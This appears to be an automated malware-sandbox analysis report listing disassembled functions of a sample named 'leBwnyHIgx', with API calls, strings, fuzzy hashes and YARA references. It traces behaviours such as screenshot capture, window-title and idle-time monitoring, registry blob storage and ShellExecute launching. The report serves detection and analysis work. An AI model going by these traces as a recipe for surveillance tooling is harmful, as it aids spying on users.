lstrlenW.KERNEL32(?), ref: 03076635

Strings

Software\Tencent\Plugin\VAS, xrefs: 030764D8

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: _memsetlstrlen$CloseEnumInfoOpenQuery
String ID: Software\Tencent\Plugin\VAS
API String ID: 2921034913-3343197220
Opcode ID: a668d158e02cd3eef8b045848c8f36a7ef2401f34125292b56aada0c4afa846a
Instruction ID: 53ba75839a621c5c3bce739f267092d9167a78b9c45b0d5ac6e9f45cec53a593
Opcode Fuzzy Hash: a668d158e02cd3eef8b045848c8f36a7ef2401f34125292b56aada0c4afa846a
Instruction Fuzzy Hash: B241B9F5E4121DBBDB34EB54CD85FEA737CEB44600F404599E309B7041EA719A858FA8

Function 10015820 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 357filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10015750: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10015783

Part of subcall function 10015700: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1001571E

_Smanip.LIBCPMTD ref: 10015B0A
_Smanip.LIBCPMTD ref: 10015BA4
memset.VCRUNTIME140(?,00000000,00000038,?,?,?,0000002F,?,00000070,?), ref: 10015C85
ShellExecuteExA.SHELL32(0000003C,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CE1
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CFD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015D0A
CopyFileA.KERNEL32 ref: 10015D73
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 10015D99

Strings

open, xrefs: 10015D92
%s\%s, xrefs: 100158AD

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: File$ExecuteModuleNameShellSmanip$CloseCopyHandleObjectSingleWaitmemset
String ID: %s\%s$open
API String ID: 1843445691-538903891
Opcode ID: e7f28f5a4b885a6ba46114f6e73ff4f4218401e27e461504ff04f219dfe5ff0b
Instruction ID: 9eb432f15a048c8dfdefea35090f5a4ff5850cd705bbf9561c51413f96cb23ad
Opcode Fuzzy Hash: e7f28f5a4b885a6ba46114f6e73ff4f4218401e27e461504ff04f219dfe5ff0b
Instruction Fuzzy Hash: 48021374C083D8DEEB11CBA4C859BDDBFB5AF15304F0441D9D1496B282DBBA5B88CB62

Function 0307A460 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0307A48D
_malloc.LIBCMT ref: 0307A4D1
_free.LIBCMT ref: 0307A503
GdipGetImageEncoders.GDIPLUS(?,?,00000008), ref: 0307A522
GdipSaveImageToStream.GDIPLUS(00000000,?,?,00000000), ref: 0307A594
GdipDisposeImage.GDIPLUS(00000000), ref: 0307A59F
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 0307A5C5
GdipDisposeImage.GDIPLUS(00000000), ref: 0307A5DD

Strings

&, xrefs: 0307A579

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Gdip$Image$DisposeEncoders$BitmapCreateFromSaveSizeStream_free_malloc
String ID: &
API String ID: 2794124522-3042966939
Opcode ID: d86e30e8550c75f270cc5b08d63a66c8a6710e18ac02afafc1505abbc614e577
Instruction ID: b13781807b4edab11a837ade3ab12dbeb2c90708049f0d9569016150e8519545
Opcode Fuzzy Hash: d86e30e8550c75f270cc5b08d63a66c8a6710e18ac02afafc1505abbc614e577
Instruction Fuzzy Hash: AE5163B5E02219AFDB14DFA4C844EEEB7F8BF88740F048519E905AB350D734A905CBE8

Function 027152B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 02715382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 02715392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0272C6E0,000012A0), ref: 027153B0
RegCloseKey.KERNEL32(?), ref: 027153BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0271540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0271541B
Sleep.KERNEL32(00000BB8), ref: 02715434

Strings

IpDates_info, xrefs: 0271538C, 027153AA
SOFTWARE, xrefs: 02715378

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: 9d627ac1ebeab97241fc44f1b4b41c6f1e5c2f66dfd322972cb14ca2a6dddb97
Instruction ID: 45188d72c9ea0cc4d9852fb65dd45705bdea2c736164308565eeeb0cb7b84339
Opcode Fuzzy Hash: 9d627ac1ebeab97241fc44f1b4b41c6f1e5c2f66dfd322972cb14ca2a6dddb97
Instruction Fuzzy Hash: FF41D872A842419FD32D8F3C8C4AF7BBBA5EF95308FD94549E58197142D3B0D50AC792

Function 027152D9 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 02715382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 02715392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0272C6E0,000012A0), ref: 027153B0
RegCloseKey.KERNEL32(?), ref: 027153BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0271540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0271541B
Sleep.KERNEL32(00000BB8), ref: 02715434

Strings

IpDates_info, xrefs: 0271538C, 027153AA
SOFTWARE, xrefs: 02715378

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: f2b2a572b9429f76a029f12935df9aacf6e0c38a31740ab46e06dc34425f06f0
Instruction ID: d4ba3a8f71d592fee618f2bd0ddc94754b63e520507313bdfc4f9b8e142fb5a3
Opcode Fuzzy Hash: f2b2a572b9429f76a029f12935df9aacf6e0c38a31740ab46e06dc34425f06f0
Instruction Fuzzy Hash: BB31C4306843819FE73DCF38881AF7ABBA5AF85308FDD8848E5859B142C3B0D50AC752

Function 0040C15C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000,00000000), ref: 0040C17A
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000), ref: 0040C19E
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000), ref: 0040C1AD
IsValidLocale.KERNEL32(00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C1BF
EnterCriticalSection.KERNEL32(00665C14,00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C21C
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C245

Strings

en-GB,en,en-US,, xrefs: 0040C18A, 0040C231

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-GB,en,en-US,
API String ID: 975949045-3021119265
Opcode ID: 0a5da7250e5a4448c1ff3f9645c04e69b407b2ebd84de03ae06c26d7c7f18a7c
Instruction ID: 62fecbf31074def960baab5c845f0e3528801b11b7ae68e71bde5ae064a172bd
Opcode Fuzzy Hash: 0a5da7250e5a4448c1ff3f9645c04e69b407b2ebd84de03ae06c26d7c7f18a7c
Instruction Fuzzy Hash: EC2196A0750701BADB207BBA8C8365925999B85B09F50457FF041BB7C2DE7C9D4182AF

Function 0307CA70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,000F003F,030912F8,2DB1A981,00000001,00000000,00000000), ref: 0307CAB1
RegQueryInfoKeyW.ADVAPI32 ref: 0307CAE0
_memset.LIBCMT ref: 0307CB44
_memset.LIBCMT ref: 0307CB53
RegEnumValueW.KERNEL32 ref: 0307CB72

Part of subcall function 0307F707: _malloc.LIBCMT ref: 0307F721

Part of subcall function 0307F707: std::exception::exception.LIBCMT ref: 0307F756
Part of subcall function 0307F707: std::exception::exception.LIBCMT ref: 0307F770
Part of subcall function 0307F707: __CxxThrowException@8.LIBCMT ref: 0307F781

RegCloseKey.KERNEL32(030912F8,?,?,?,?,?,?,?,?,?,?,?,00000000,030912F8,000000FF), ref: 0307CC83

Strings

Console\0, xrefs: 0307CAA4

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: _memsetstd::exception::exception$CloseEnumException@8InfoOpenQueryThrowValue_malloc
String ID: Console\0
API String ID: 1348767993-1253790388
Opcode ID: 44bf4ded7bd3f1967069259dfb1c8b63e64528d3b45ffa31c636a2a2534d16ac
Instruction ID: 1bb89b27930279cc5efc7218f9451f6f0166f63f87efab9d79a31ea1b9c21214
Opcode Fuzzy Hash: 44bf4ded7bd3f1967069259dfb1c8b63e64528d3b45ffa31c636a2a2534d16ac
Instruction Fuzzy Hash: 23611FB5D01219AFDB04DFA8D880EEEB7B8FF88310F14456AE915EB245D7349901CBA4

Function 0307BB00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0307F707: _malloc.LIBCMT ref: 0307F721

_memset.LIBCMT ref: 0307BB21
GetLastInputInfo.USER32(?), ref: 0307BB37
GetTickCount.KERNEL32 ref: 0307BB3D
wsprintfW.USER32 ref: 0307BB66
GetForegroundWindow.USER32 ref: 0307BB6F
GetWindowTextW.USER32(00000000,00000020,000000FA), ref: 0307BB83

Strings

%d min, xrefs: 0307BB60

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Window$CountForegroundInfoInputLastTextTick_malloc_memsetwsprintf
String ID: %d min
API String ID: 3754759880-1947832151
Opcode ID: 9d7cf5e9a0b16ddf0548154d69a761d92152b79c169bf576e43186787132de4c
Instruction ID: c5064d333844729e1d26562f48079e835e888292f7ee429a441f3ff38ca5593c
Opcode Fuzzy Hash: 9d7cf5e9a0b16ddf0548154d69a761d92152b79c169bf576e43186787132de4c
Instruction Fuzzy Hash: 6441A4B5D01218AFCB10EFA4D884EDFBBB8EF88700F188555E9099B345D6749A04CBE5

Function 03076910 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(2DB1A981,00000000,00000000,75BF73E0,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076938
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076947
OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076960
CloseHandle.KERNEL32(00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 0307696B
SysStringLen.OLEAUT32(00000000), ref: 030769BE
SysStringLen.OLEAUT32(00000000), ref: 030769CC
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,030910DB,000000FF), ref: 03076A2E
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,030910DB,000000FF), ref: 03076A34

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess$OpenString$CurrentToken
String ID:
API String ID: 429299433-0
Opcode ID: 109509788f21255b895eaa3f1f68fc4d233fa5924139c2817147c0eda63f17fc
Instruction ID: 63da5c9e6a4ab377852ffdafbf2c03853d3561431edc05d761dd9781e66d2cb5
Opcode Fuzzy Hash: 109509788f21255b895eaa3f1f68fc4d233fa5924139c2817147c0eda63f17fc
Instruction Fuzzy Hash: 4A4184B2E0561DABDB10DFA8CC40AEEF7F8FB84710F144666D955E7240D77659008BA4

Function 10015DF0 Relevance: 12.0, APIs: 8, Instructions: 41synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,100185DC), ref: 10015E0A
GetLastError.KERNEL32 ref: 10015E13
CloseHandle.KERNEL32(?), ref: 10015E24
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E2C
GetCurrentThread.KERNEL32 ref: 10015E3C
WaitForSingleObject.KERNEL32(00000000), ref: 10015E43
CreateThread.KERNEL32 ref: 10015E58
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E65

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThreadexit$CloseCurrentErrorHandleLastMutexObjectSingleWait
String ID:
API String ID: 355449500-0
Opcode ID: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction ID: 0f97a28617a5a68d27cb6afa5f47f3953ca9a481207b566471c0f9ba98c6beaf
Opcode Fuzzy Hash: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction Fuzzy Hash: 69014430A84318FBF791ABF08C4EB4D3A65EB08703F104440F709AE1D0CAB5D7848B25

Function 03076D70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03076DD9
RegOpenKeyExW.KERNEL32(80000001,03095164,00000000,00020019,75BF73E0), ref: 03076DFC
RegQueryValueExW.KERNEL32(75BF73E0,GROUP,00000000,00000001,?,00000208), ref: 03076E4A
lstrcmpW.KERNEL32(?,03095148), ref: 03076E60
lstrcpyW.KERNEL32(030756EA,?), ref: 03076E72

Strings

GROUP, xrefs: 03076E42

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: OpenQueryValue_memsetlstrcmplstrcpy
String ID: GROUP
API String ID: 2102619503-2593425013
Opcode ID: 1d6d92bb800cb6f925dd643d9b71dafcd321a08c6623d83f21392b51e7d1996d
Instruction ID: cce26deaa97c2d529c230690acef6fb05c9192c0916f843a197be3b90b206a03
Opcode Fuzzy Hash: 1d6d92bb800cb6f925dd643d9b71dafcd321a08c6623d83f21392b51e7d1996d
Instruction Fuzzy Hash: BA31857190231DBBDB20DF90DC89BDEB7B8FB48710F100699E519A7180DB79AA84CF64

Function 0271721B Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 02717240
__calloc_crt.LIBCMT ref: 0271724C
__getptd.LIBCMT ref: 02717259
CreateThread.KERNEL32 ref: 02717290
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 0271729A
_free.LIBCMT ref: 027172A3
__dosmaperr.LIBCMT ref: 027172AE

Part of subcall function 0271710D: __getptd_noexit.LIBCMT ref: 0271710D

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: d993ed99873ab9e31c8e43eada4ed98a1b73905c705f513c612ccff121726920
Instruction ID: 202107dd127ed9b702fe2bc5bc3e77cb5f2e75ae144d5d07c78d4129b040c1be
Opcode Fuzzy Hash: d993ed99873ab9e31c8e43eada4ed98a1b73905c705f513c612ccff121726920
Instruction Fuzzy Hash: AE11E532200306AFE72AAFAC9C48E9BB7E9EF45774B100419FA1496140DB31C5128AA0

Function 0307FA29 Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0307FA4E
__calloc_crt.LIBCMT ref: 0307FA5A
__getptd.LIBCMT ref: 0307FA67
CreateThread.KERNEL32 ref: 0307FA9E
GetLastError.KERNEL32(?,00000000,?,?,0307E003,00000000,00000000,03075F40,00000000,00000000,00000000), ref: 0307FAA8
_free.LIBCMT ref: 0307FAB1
__dosmaperr.LIBCMT ref: 0307FABC

Part of subcall function 0307F91B: __getptd_noexit.LIBCMT ref: 0307F91B

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 17db6ad38d07714fa3b131fe870307e0d1c6559e97e9d92ea3b9962dad8ee1c0
Instruction ID: 00c09cf191429b072a365e4f92501543b7fc49d8295b8ebc3f2616a6da96f3ac
Opcode Fuzzy Hash: 17db6ad38d07714fa3b131fe870307e0d1c6559e97e9d92ea3b9962dad8ee1c0
Instruction Fuzzy Hash: C111C27A60770BBFDB11FFA5EC4099B37D9EF85A647140426F9448A180DB70D4018A68

Function 03077410 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03077523), ref: 0307743D
GetProcAddress.KERNEL32(00000000), ref: 03077444
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03077523), ref: 03077452
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03077523), ref: 0307745A

Strings

kernel32.dll, xrefs: 0307741D
GetNativeSystemInfo, xrefs: 03077418

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: 541ddd0232c3bba90f859af4b9871e6917a384791fba0e60afbfd2ccb6471e11
Instruction ID: 0e3a638a837931eae169ee4bd30006f7eac9d764cf11bd614500b2e37cba94eb
Opcode Fuzzy Hash: 541ddd0232c3bba90f859af4b9871e6917a384791fba0e60afbfd2ccb6471e11
Instruction Fuzzy Hash: D401A270D0220CAFCF90DFB898046FEBBF4EB08600F0005AAD559E3200E7398A10CFA4

Function 027171B6 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 027171BC

Part of subcall function 02719754: TlsGetValue.KERNEL32(00000000,027198AD,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F,00000000,00000000), ref: 0271975D
Part of subcall function 02719754: DecodePointer.KERNEL32(?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F,00000000,00000000,?,027199BA,0000000D), ref: 0271976F
Part of subcall function 02719754: TlsSetValue.KERNEL32(00000000,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F,00000000,00000000,?,027199BA), ref: 0271977E

___fls_getvalue@4.LIBCMT ref: 027171C7

Part of subcall function 02719734: TlsGetValue.KERNEL32(?,?,027171CC,00000000), ref: 02719742

___fls_setvalue@8.LIBCMT ref: 027171DA

Part of subcall function 02719788: DecodePointer.KERNEL32(?,?,?,027171DF,00000000,?,00000000), ref: 02719799

GetLastError.KERNEL32(00000000,?,00000000), ref: 027171E3
ExitThread.KERNEL32 ref: 027171EA
GetCurrentThreadId.KERNEL32 ref: 027171F0
__freefls@4.LIBCMT ref: 02717210

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 71bfe619023cb83c0f4fe0403428de41075618d05d37eb205f477f63edf16712
Instruction ID: e9637b00c39f66ae5a24bbf16c011d1878818ddbfea878ddfc8c28e65164a459
Opcode Fuzzy Hash: 71bfe619023cb83c0f4fe0403428de41075618d05d37eb205f477f63edf16712
Instruction Fuzzy Hash: 5FF09074400241EBC71DBF79CD5C94EBBAAAF88344325CC58EA048B201DB34D8478FA0

Function 0307F9C4 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0307F9CA

Part of subcall function 03083CA0: TlsGetValue.KERNEL32(00000000,03083DF9,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76,00000000,00000000), ref: 03083CA9
Part of subcall function 03083CA0: DecodePointer.KERNEL32(?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76,00000000,00000000,?,03083F06,0000000D), ref: 03083CBB
Part of subcall function 03083CA0: TlsSetValue.KERNEL32(00000000,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76,00000000,00000000,?,03083F06), ref: 03083CCA

___fls_getvalue@4.LIBCMT ref: 0307F9D5

Part of subcall function 03083C80: TlsGetValue.KERNEL32(?,?,0307F9DA,00000000), ref: 03083C8E

___fls_setvalue@8.LIBCMT ref: 0307F9E8

Part of subcall function 03083CD4: DecodePointer.KERNEL32(?,?,?,0307F9ED,00000000,?,00000000), ref: 03083CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 0307F9F1
ExitThread.KERNEL32 ref: 0307F9F8
GetCurrentThreadId.KERNEL32 ref: 0307F9FE
__freefls@4.LIBCMT ref: 0307FA1E

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

